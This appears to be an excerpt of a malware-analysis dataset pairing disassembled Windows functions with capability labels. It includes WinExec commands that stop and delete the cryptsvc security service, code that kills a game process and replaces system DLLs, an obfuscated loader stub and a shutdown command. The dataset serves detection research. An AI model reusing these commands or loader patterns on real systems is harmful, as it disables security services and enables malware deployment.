joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401340
Capabilities:
Get file size

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40136f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push 0
push 0
push 0
push 4
mov ebp, eax
push 0
push edi
mov dword [esp + 0x2c], ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40139d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push 0
push 0
push 0
push 2
push ebx
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x4013b7
pop edi
pop esi
pop ebp
pop ebx
ret
lea ecx, [ebp + 1]
shr ecx, 1
push ecx
push esi
push 0
call fcn.004012f0
mov ecx, dword [esi + 0x3c]
add esp, 0xc
add ecx, esi
cmp word [ecx + 0x18], 0x10b
jne 0x4013f7
mov dx, word [ecx + 0x58]
cmp ax, dx
sbb ebp, ebp
neg ebp
add ebp, edx
mov dx, word [ecx + 0x5a]
sub eax, ebp
cmp ax, dx
sbb ebp, ebp
neg ebp
add ebp, edx
sub eax, ebp
mov ebp, dword [esp + 0x14]
and eax, 0xffff
push 0
add eax, ebp
push esi
mov dword [ecx + 0x58], eax
call dword [sym.imp.KERNEL32.DLL_FlushViewOfFile]
push esi
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x401430
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x508
test eax, eax
push ebp
mov ebp, dword [esp + 0x510]
push esi
push edi
je 0x4014f6
mov eax, dword [0x40f528]
mov dword [esp + 0xc], 0
test eax, eax
jle 0x4014ac
mov edi, 0x40f52c
mov esi, ebp
mov eax, edi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40148a
test cl, cl
je 0x401486
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40148a
add eax, 2
add esi, 2
test cl, cl
jne 0x401466
xor eax, eax
jmp 0x40148f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4014ea
mov eax, dword [esp + 0xc]
mov ecx, dword [0x40f528]
inc eax
add edi, 0x104
cmp eax, ecx
mov dword [esp + 0xc], eax
jl 0x401462
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.DragonNest.exe
push ebp
lea eax, [esp + 0x18]
push str._s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4014f6
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x508
ret
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.DragonNest.exe
stosb byte es:[edi], al
call fcn.00402f30
mov eax, dword [0x40f528]
mov edi, ebp
mov edx, eax
or ecx, 0xffffffff
shl edx, 6
add edx, eax
inc eax
mov dword [0x40f528], eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [edx*4 + 0x40f52c]
mov eax, ecx
mov esi, edi
mov edi, edx
push str.ksuser.dll
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebp
and ecx, 3
push str._s_s
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x124]
push ecx
call esi
lea edx, [esp + 0x128]
push edx
call fcn.00402e70
add esp, 0x18
lea eax, [esp + 0x114]
push 0
push eax
push 0x4115ac
call dword [0x40ea28]
push str.midimap.dll
push ebp
lea ecx, [esp + 0x11c]
push str._s_s
push ecx
call esi
lea edx, [esp + 0x124]
push edx
call fcn.00402e70
add esp, 0x14
lea eax, [esp + 0x114]
push 0
push eax
push 0x4115ac
call dword [0x40ea28]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x508
ret
Function at 0x401ae0
Capabilities:
Get disk information

Disassembly:
sub esp, 0x248
push ebx
push ebp
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
xor ebp, ebp
push eax
push 0x104
call dword [0x40ea58]
mov al, byte [esp + 0x14]
lea ebx, [esp + 0x14]
test al, al
je 0x401b6f
lea ecx, [esp + 0x118]
mov dword [esp + 0x10], ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x401b5f
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebp
add eax, 0xa
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x10], eax
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ebx, [ebx + eax + 1]
cmp byte [ebx], 0
jne 0x401b28
test ebp, ebp
jle 0x401b9b
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
lea eax, [ebp + ebp*4]
lea esi, [esp + eax*2 + 0x10e]
push esi
call edi
cmp eax, 3
jne 0x401b95
push esi
call fcn.00401910
add esp, 4
sub esi, 0xa
dec ebp
jne 0x401b84
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x248
ret

Function at 0x401da0
Capabilities:
Create process on windows

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WinExec]
push 0
push str.net_stop_cryptsvc
call esi
push 0
push str.sc_config_cryptsvc_start_disabled
call esi
push 0
push str.sc_delete_cryptsvc
call esi
pop esi
ret
Function at 0x401dd0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x410
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], bl
mov byte [esp + 0x10], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x31c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x31d]
mov byte [esp + 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x219]
lea edx, [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x40f110
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40d730
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x114]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x424]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push esi
push eax
lea ecx, [esp + 0x18]
push str._s_s
push ecx
call edi
lea edx, [esp + 0x124]
push esi
push edx
push str._sYU_s
lea eax, [esp + 0x234]
push eax
call edi
add esp, 0x20
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401efc
lea edx, [esp + 0x218]
push ebx
lea eax, [esp + 0x14]
push edx
push eax
call dword [0x40ea28]
lea ecx, [esp + 0x10]
push ecx
call fcn.00402e70
add esp, 4
lea edx, [esp + 0x10]
push ebx
push edx
push 0x4115ac
call dword [0x40ea28]
lea eax, [esp + 0x114]
push esi
push eax
lea ecx, [esp + 0x324]
push str._sdllcache_s
push ecx
call edi
lea edx, [esp + 0x32c]
push edx
call fcn.00402e70
add esp, 0x14
lea eax, [esp + 0x31c]
lea ecx, [esp + 0x10]
push ebx
push eax
push ecx
call dword [0x40ea28]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x410
ret
Function at 0x402240
Capabilities:
Create process on windows
Enumerate gui resources
Terminate process

Disassembly:
sub esp, 0x2f0
push ebp
mov ebp, ecx
call fcn.00402640
call fcn.00402c90
call fcn.00401bb0
test eax, eax
je 0x4023de
push str.DragonNest.exe
call fcn.00402d60
add esp, 4
test eax, eax
je 0x40228e
push str.DragonNest.exe
call fcn.00402f30
add esp, 4
test eax, eax
jne 0x40228e
push eax
push 0x4021a0
call dword [sym.imp.USER32.dll_EnumWindows]
push esi
push edi
call fcn.00401c80
lea eax, [esp + 0x268]
mov dword [esp + 0x268], 0x94
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
call fcn.004016a0
call fcn.004017a0
push str.YUMAMAIN
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.DLL_OpenEventA]
mov esi, eax
test esi, esi
jne 0x4022e2
push str.YUMAMAIN
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov esi, eax
jmp 0x4022f2
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.DLL_ResetEvent]
call fcn.00401ff0
cmp eax, 1
jne 0x402303
call fcn.00401ae0
jmp 0x402308
call fcn.00401f70
push esi
call dword [sym.imp.KERNEL32.DLL_SetEvent]
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x61]
mov byte [esp + 0x60], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x165]
mov byte [esp + 0x164], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
push 0x40f110
lea ecx, [esp + 0x64]
push str._s_rundll32.exe
push ecx
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
call esi
push 0x40f214
push 0x4115ac
lea edx, [esp + 0x178]
push str.__s__ServerMain__s
push edx
call esi
add esp, 0x1c
lea eax, [esp + 0x50]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x164]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ecx, dword [ebp + 0x20]
push 0
push ecx
call dword [sym.imp.USER32.dll_SetParent]
push eax
call sub.MFC42.DLL_CWnd::FromHandle
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
pop ebp
add esp, 0x2f0
ret
Function at 0x402c90
Capabilities:
Get common file path

Disassembly:
push esi
push edi
push 0x104
push 0x40f110
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x104
push 0x40f00c
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x40ef08
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x104
push 0x40f214
push 0
call esi
mov eax, dword [0x40f520]
mov edi, dword [sym.imp.MSVCRT.dll__strlwr]
test eax, eax
je 0x402cfc
push 0x104
push 0x40f41c
push eax
call esi
push 0x40f41c
call edi
add esp, 4
push 0x40f214
call edi
push 0x40f214
call fcn.00402d40
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x40f318
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret

Function at 0x402e70
Capabilities:
Check if file exists
Delete file
Get common file path
Get file attributes
Move file

Disassembly:
sub esp, 0x208
push esi
mov esi, dword [esp + 0x210]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push esi
call edi
cmp eax, 0xffffffff
je 0x402f18
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push esi
call edi
cmp eax, 0xffffffff
je 0x402f18
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10c]
push 0
push eax
push esi
call fcn.00402df0
add esp, 0xc
lea ecx, [esp + 8]
lea edx, [esp + 0x10c]
push ecx
push 0
push str.TEMP
push edx
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
lea eax, [esp + 8]
push 1
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_MoveFileExA]
call esi
push 4
lea ecx, [esp + 0xc]
push 0
push ecx
call esi
pop edi
pop esi
add esp, 0x208
ret

Function at 0x402f30
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_OpenProcess]
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
push edi
mov edi, dword [esp + 0x14]
push edi
call fcn.00402d60
add esp, 4
mov esi, eax
push esi
push 0
push 1
call ebx
test eax, eax
je 0x402f74
push 0
push eax
call ebp
test eax, eax
je 0x402f74
test esi, esi
je 0x402f7b
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x402f44
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x41efab
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push edi
mov edi, ecx
push 0x405e88
lea ecx, [ebp - 0x10]
call fcn.0044efe3
mov ebx, dword [ebp + 8]
xor ecx, ecx
xor eax, eax
xor edx, edx
cmp dword [ebp + 0xc], ecx
mov dword [ebp - 8], eax
jbe 0x41efe4
add eax, dword [ebx + edx*8]
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x41efd8
mov dword [ebp - 8], eax
cmp eax, ecx
mov dword [ebp + 8], ecx
jle 0x41f0e5
push esi
jmp 0x41eff4
xor ecx, ecx
cmp dword [ebp + 0xc], ecx
jbe 0x41f0e4
push ecx
push ecx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov dword [edi + 0x4c], ecx
push ebx
push dword [edi + 0x28]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], ecx
call dword [sym.imp.WS2_32.dll_WSARecv]
mov esi, dword [0x458858]
test esi, esi
mov dword [ebp - 0x14], eax
je 0x41f087
push 5
push 3
mov ecx, esi
call fcn.00414777
test al, al
je 0x41f087
push dword [ebp - 4]
mov ecx, dword [edi + 0xa0]
mov eax, dword [edi + 0x80]
and dword [ebp - 0x1c], 0
push 0x405e74
push dword [ecx*4 + 0x405ad8]
lea ecx, [ebp - 0x81c]
push eax
push 0x405cd0
push 5
mov dword [ebp - 0x18], esi
call fcn.0044ef27
push eax
call fcn.0044ed72
add esp, 0x10
push eax
call fcn.0044ed72
add esp, 0xc
mov ecx, eax
call fcn.0044ef88
cmp dword [ebp - 0x14], 0xffffffff
je 0x41f0ca
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x41f0d9
add dword [ebp + 8], ecx
jmp 0x41f0b8
cmp dword [ebp + 0xc], 0
jbe 0x41f0bc
mov eax, dword [ebx]
cmp ecx, eax
jb 0x41f0af
sub ecx, eax
add ebx, 8
dec dword [ebp + 0xc]
jmp 0x41f0b8
add dword [ebx + 4], ecx
sub eax, ecx
mov dword [ebx], eax
xor ecx, ecx
test ecx, ecx
ja 0x41f099
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 8]
jl 0x41eff2
jmp 0x41f0e4
and dword [ebp + 8], 0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [edi + 0x4c], eax
jmp 0x41f0e4
and dword [ebp + 8], 0
mov dword [edi + 0x4c], 0x274a
pop esi
lea ecx, [ebp - 0x10]
call fcn.0044f049
mov eax, dword [ebp + 8]
pop edi
pop ebx
leave
ret 8

Function at 0x41f54f
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
and dword [esi], 0
lea eax, [esi + 4]
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
mov ecx, esi
call fcn.004147c2
mov eax, esi
pop esi
pop ebp
ret 0x14
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4058bd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x4058cc
pop dword [ebp - 0x44]
mov eax, 0xd6c9efb
add eax, 0xf2d3b9d1
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xa1585558
add dword [ebp - 0x54], 0xacf9eff3
mov dword [ebp - 0x50], 0x3c17f28c
sub dword [ebp - 0x50], 0x9e4a647
mov dword [ebp - 0x4c], 0x610f03a9
sub dword [ebp - 0x4c], 0x14c2bf7b
mov dword [ebp - 0x48], 0x98693619
add dword [ebp - 0x48], 0x6796c9e7
lea eax, [ebp - 0x54]
push eax
mov eax, 0x2c0f7820
sub eax, 0x2bcea7cc
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x302b7f56
add dword [ebp - 0x54], 0x4446ea00
mov dword [ebp - 0x50], 0x86dd0375
add dword [ebp - 0x50], 0xba8f5e00
mov dword [ebp - 0x4c], 0x3f3bc054
sub dword [ebp - 0x4c], 0xdbcc53e8
mov dword [ebp - 0x48], 0xd546b9c7
sub dword [ebp - 0x48], 0xd546b9c7
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x166111e8
sub eax, 0x1620419c
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3f518
push 0
call eax
mov ecx, 0x5f16
xor edx, edx
add edx, eax
mov ebx, 0xf5428928
sub ebx, 0xf500d928
add ebx, dword [ebp - 0x44]
mov esi, 0x1c25a461
add esi, 0x1b59481b
xor dword [ebp - 0x10], 0x75a3d8f2
mov edi, dword [ebx]
mov dword [ebp - 0x2c], 0xf9c53203
sub edi, esi
xor dword [ebp - 0x18], esi
mov dword [edx], edi
sub dword [ebp - 8], 0x5358a4ec
add edx, 0xa3a51e1
add edx, 0xf5c5ae23
add ebx, 0x6e9ee602
add ebx, 0x91611a02
loop 0x4059ea
add eax, 0x334828d7
add eax, 0xccb94654
mov ebx, eax
add eax, 0x796427e0
sub eax, 0x796427db
mov ecx, 0xedd88991
add ecx, 0x1267766f
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x401000
Capabilities:
Execute command

Disassembly:
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00401020
push str.shutdown__s
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
xor eax, eax
ret
Function at 0x40f340
Capabilities:
Get common file path

Disassembly:
push ecx
mov ecx, dword [0x42b844]
mov edx, dword [ecx + 0xac]
lea eax, [esp]
push eax
call edx
test eax, eax
jl 0x40f361
cmp dword [esp], 0
je 0x40f361
xor eax, eax
pop ecx
ret
mov eax, dword [0x42b844]
mov ecx, dword [eax + 0x258]
push esi
push edi
push 0x412
push 0x40
call ecx
mov edi, eax
test edi, edi
je 0x40f401
mov edx, dword [0x42b844]
mov eax, dword [edx + 0xc]
push edi
push 0x208
call eax
test eax, eax
je 0x40f3f3
mov ecx, dword [0x42b844]
mov edx, dword [ecx + 0x2d0]
push edi
call edx
add eax, 0x20a
push eax
mov eax, dword [0x42b844]
mov ecx, dword [eax + 0x258]
push 0x40
call ecx
mov esi, eax
test esi, esi
je 0x40f3f3
push esi
push 0
push 0x424b94
push edi
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameW]
mov edx, dword [0x42b844]
mov eax, dword [edx + 0x2cc]
push esi
call eax
mov ecx, dword [0x42b844]
mov edx, dword [ecx + 0x340]
push edi
call edx
pop edi
mov eax, esi
pop esi
pop ecx
ret
mov eax, dword [0x42b844]
mov ecx, dword [eax + 0x340]
push edi
call ecx
pop edi
xor eax, eax
pop esi
pop ecx
ret

Function at 0x411c60
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov ebx, eax
push edi
lea eax, [esp + 0x14]
mov edi, ecx
push eax
mov ecx, str.YXoH9m_DOdPcieIK_tfZy6BATrLJNS_8M2u_F7Cz1b_Rk_0Vpwqj__WnhEU_
call fcn.00408a50
mov ebp, dword [esp + 0x38]
add esp, 4
cmp ebp, 3
jb 0x411cf9
mov eax, 0xaaaaaaab
mul ebp
shr edx, 1
mov dword [esp + 0x10], edx
cmp dword [esp + 0x2c], 0x10
mov esi, dword [esp + 0x18]
jae 0x411ca2
lea esi, [esp + 0x18]
movzx eax, byte [edi]
movzx ecx, byte [edi + 1]
movzx edx, byte [edi + 2]
shl eax, 8
add eax, ecx
shl eax, 8
add eax, edx
lea ecx, [ebx + 3]
mov ebp, 4
nop
mov edx, eax
and edx, 0x8000003f
jns 0x411ccf
dec edx
or edx, 0xffffffc0
inc edx
mov dl, byte [edx + esi]
mov byte [ecx], dl
cdq
and edx, 0x3f
add eax, edx
sar eax, 6
dec ecx
sub ebp, 1
jne 0x411cc0
sub dword [esp + 0x34], 3
add edi, 3
add ebx, 4
sub dword [esp + 0x10], 1
jne 0x411c93
mov ebp, dword [esp + 0x34]
test ebp, ebp
jbe 0x411d41
xor eax, eax
push ebp
mov word [esp + 0x38], ax
mov byte [esp + 0x3a], al
lea eax, [esp + 0x38]
push edi
push eax
call fcn.0041c410
mov ecx, dword [esp + 0x24]
add esp, 0xc
cmp dword [esp + 0x2c], 0x10
jae 0x411d26
lea ecx, [esp + 0x18]
mov esi, ebx
lea edx, [esp + 0x34]
call fcn.00411bd0
mov al, 0x3d
mov byte [ebx + 3], al
cmp ebp, 1
jne 0x411d3e
mov byte [ebx + 2], al
add ebx, 4
cmp dword [esp + 0x2c], 0x10
pop edi
pop esi
pop ebp
mov byte [ebx], 0
pop ebx
jb 0x411d5c
mov ecx, dword [esp + 8]
push ecx
call fcn.004198d7
add esp, 4
mov eax, 1
add esp, 0x20
ret 4
Function at 0x414930
Capabilities:
Encode data using xor

Disassembly:
test ecx, ecx
je 0x414955
push ebx
push ebp
mov eax, dword [esi]
movzx ebp, byte [edx]
mov ebx, eax
and ebx, 0xff
xor ebx, ebp
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
inc edx
mov dword [esi], eax
test ecx, ecx
jne 0x414936
pop ebp
pop ebx
ret

Function at 0x414960
Capabilities:
Hash data using crc32b

Disassembly:
push ebx
push edi
xor ebx, ebx
xor ecx, ecx
test bl, 1
je 0x414970
mov ecx, 0x80
mov eax, ebx
shr eax, 1
test al, 1
je 0x41497b
or ecx, 0x40
shr eax, 1
test al, 1
je 0x414984
or ecx, 0x20
shr eax, 1
test al, 1
je 0x41498d
or ecx, 0x10
shr eax, 1
test al, 1
je 0x414996
or ecx, 8
shr eax, 1
test al, 1
je 0x41499f
or ecx, 4
shr eax, 1
test al, 1
je 0x4149a8
or ecx, 2
test al, 2
je 0x4149af
or ecx, 1
shl ecx, 0x18
mov edx, ecx
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
sbb edx, edx
add ecx, ecx
and edx, 0x4c11db7
xor edx, ecx
mov ecx, edx
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add edx, edx
xor ecx, edx
mov edx, ecx
and edx, 0x80000000
neg edx
sbb edx, edx
lea eax, [ecx + ecx]
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add edx, edx
xor ecx, edx
mov edx, ecx
and edx, 0x80000000
neg edx
sbb edx, edx
lea eax, [ecx + ecx]
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add edx, edx
xor ecx, edx
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
xor edx, edx
mov dword [esi + ebx*4], eax
lea ecx, [edx + 0x1f]
jmp 0x414a70
test al, 1
je 0x414a7d
mov edi, 1
shl edi, cl
or edx, edi
dec ecx
shr eax, 1
cmp ecx, 0xffffffff
jg 0x414a70
mov dword [esi + ebx*4], edx
inc ebx
cmp ebx, 0xff
jle 0x414964
pop edi
mov eax, esi
pop ebx
ret

Function at 0x415180
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
xor esi, esi
mov dword [ecx + 0x100], esi
mov ebx, 0x100
mov eax, dword [ecx + 0x100]
mov dl, al
mov byte [ecx + eax], dl
inc dword [ecx + 0x100]
cmp dword [ecx + 0x100], ebx
jb 0x415194
mov dword [ecx + 0x104], esi
mov dword [ecx + 0x100], esi
lea esp, [esp]
mov esi, dword [ecx + 0x100]
xor edx, edx
mov eax, esi
div edi
movzx eax, byte [edx + ebp]
movzx edx, byte [esi + ecx]
add eax, edx
add eax, dword [ecx + 0x104]
and eax, 0xff
mov dword [ecx + 0x104], eax
mov al, byte [eax + ecx]
mov dl, byte [esi + ecx]
mov byte [esi + ecx], al
mov eax, dword [ecx + 0x104]
mov byte [ecx + eax], dl
inc dword [ecx + 0x100]
cmp dword [ecx + 0x100], ebx
jb 0x4151c0
pop esi
xor eax, eax
pop ebp
mov dword [ecx + 0x104], eax
mov dword [ecx + 0x100], eax
pop ebx
ret 4